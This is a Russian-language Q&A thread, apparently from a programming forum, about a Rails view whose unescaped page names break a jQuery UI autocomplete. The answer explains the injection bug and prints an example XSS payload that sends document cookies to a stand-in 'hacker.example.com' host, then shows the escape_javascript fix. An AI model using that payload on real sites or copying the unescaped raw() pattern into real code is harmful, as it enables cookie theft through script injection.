2015-10-22 5 views
0

Я пытаюсь ввести таблицу Page в автозаполнение jQuery UI. Если я ввод его с Page.order('id ASC') он работает отлично, но если я ввод его с Page.order('id DESC') он сломается, даже если линияПорядок ввода DESC breaks jQuery UI Autocomplete

Page.order('id DESC').limit(1000).pluck(:name).map { |name| "\"#{name}\"" }.join(",\n") 

выполняет безошибочным в моих рельсах консоли. Он даже ломает еще один автозаполнение jQuery UI дальше по той же странице, поэтому я думаю, что сам jQuery должен быть неудачным.

Он также печатает безошибочно в моем источнике страницы оба раза.

У кого-нибудь есть идея, почему в этом контексте это не удается?

<head> 
    <meta charset="utf-8"> 
    <title>jQuery UI Autocomplete - Multiple values</title> 
    <link rel="stylesheet" href="//code.jquery.com/ui/1.11.1/themes/smoothness/jquery-ui.css"> 
    <script src="//code.jquery.com/jquery-1.10.2.js"></script> 
    <script src="//code.jquery.com/ui/1.11.1/jquery-ui.js"></script> 
    <link rel="stylesheet" href="/resources/demos/style.css"> 
    <script> 
    $(function() { 
     var availableTags = [ 
     <%= raw(Page.order('id DESC').limit(1000).pluck(:name).map { |name| "\"#{name}\"" }.join(",\n")) %> 
     ]; 
     function split(val) { 
     return val.split(/,\s*/); 
     } 
     function extractLast(term) { 
     return split(term).pop(); 
     } 

     $("#pages") 
     // don't navigate away from the field on tab when selecting an item 
     .bind("keydown", function(event) { 
      if (event.keyCode === $.ui.keyCode.TAB && 
       $(this).autocomplete("instance").menu.active) { 
      event.preventDefault(); 
      } 
     }) 
     .autocomplete({ 
      minLength: 0, 
      source: function(request, response) { 
      // delegate back to autocomplete, but extract the last term 
      response($.ui.autocomplete.filter(
       availableTags, extractLast(request.term))); 
      }, 
      focus: function() { 
      // prevent value inserted on focus 
      return false; 
      }, 
      select: function(event, ui) { 
      var terms = split(this.value); 
      // remove the current input 
      terms.pop(); 
      // add the selected item 
      terms.push(ui.item.value); 
      // add placeholder to get the comma-and-space at the end 
      terms.push(""); 
      this.value = terms.join(", "); 
      return false; 
      } 
     }); 
    }); 
    </script> 
    </head> 

    <div class="ui-widget"> 
    <textarea id="pages" name="pages" size="50"></textarea> 
    </div><br> 
+0

вы проверили, что на самом деле является вывод вашего кода Ruby, и если есть какие-либо ошибки в браузере консоль? –

+0

@RoryMcCrossan В консоли нет ошибок. Как я могу проверить, что на самом деле выводится в браузере? Вывод нормальный, когда я запускаю код в моей консоли терминала. –

+0

@JeffCaros просмотреть исходный код в вашем браузере – jcuenod

ответ

1

У вас есть более 1000 записей в вашей базе данных? Вы могли бы выбрать другой набор страниц, одна из которых может иметь название, как

How to use "quotation" marks 

или

Tabs slashes \\\ & special characters @%*([email protected]# 

или хуже

"]});</script><script>document.location = "http://hacker.example.com/steal?data=" + document.cookies</script> 

Они будут получать вставленный в ваш JS непосредственно , например:

$(function() { 
    var availableTags = [ 
    "How to use "quotation" marks", 
    "Tabs slashes \\\ & special characters @%*([email protected]#", 
    ""]});</script><script>document.location = "http://hacker.example.com/steal?data=" + document.cookies</script>" 
    ]; 
... 

Все это плохо. Первые два могут разрушить скрипт, потому что такие вещи, как цитаты и косые черты, не допускаются в середине строки без надлежащего экранирования, как \" и \\.

Rails обеспечивает удобную функцию под названием escape_javascript, которая также имеет псевдоним j, который вы можете использовать для выхода из кода JavaScript. Например. data = "<%=j 'a"b"c' %>"; будет выводить data = "a\"b\"c";

Я бы обновить цикл генерации массива availableTags использовать этот метод:

var availableTags = [ 
    <%= safe_join(Page.order('id DESC').limit(1000).pluck(:name).map { |name| "\"#{escape_javascript(name)}\"".html_safe }, ",\n") %> 
    ]; 
+0

Невероятно. Я не могу для жизни меня найти оскорбительный титул, но ты был абсолютно прав! Спасибо! –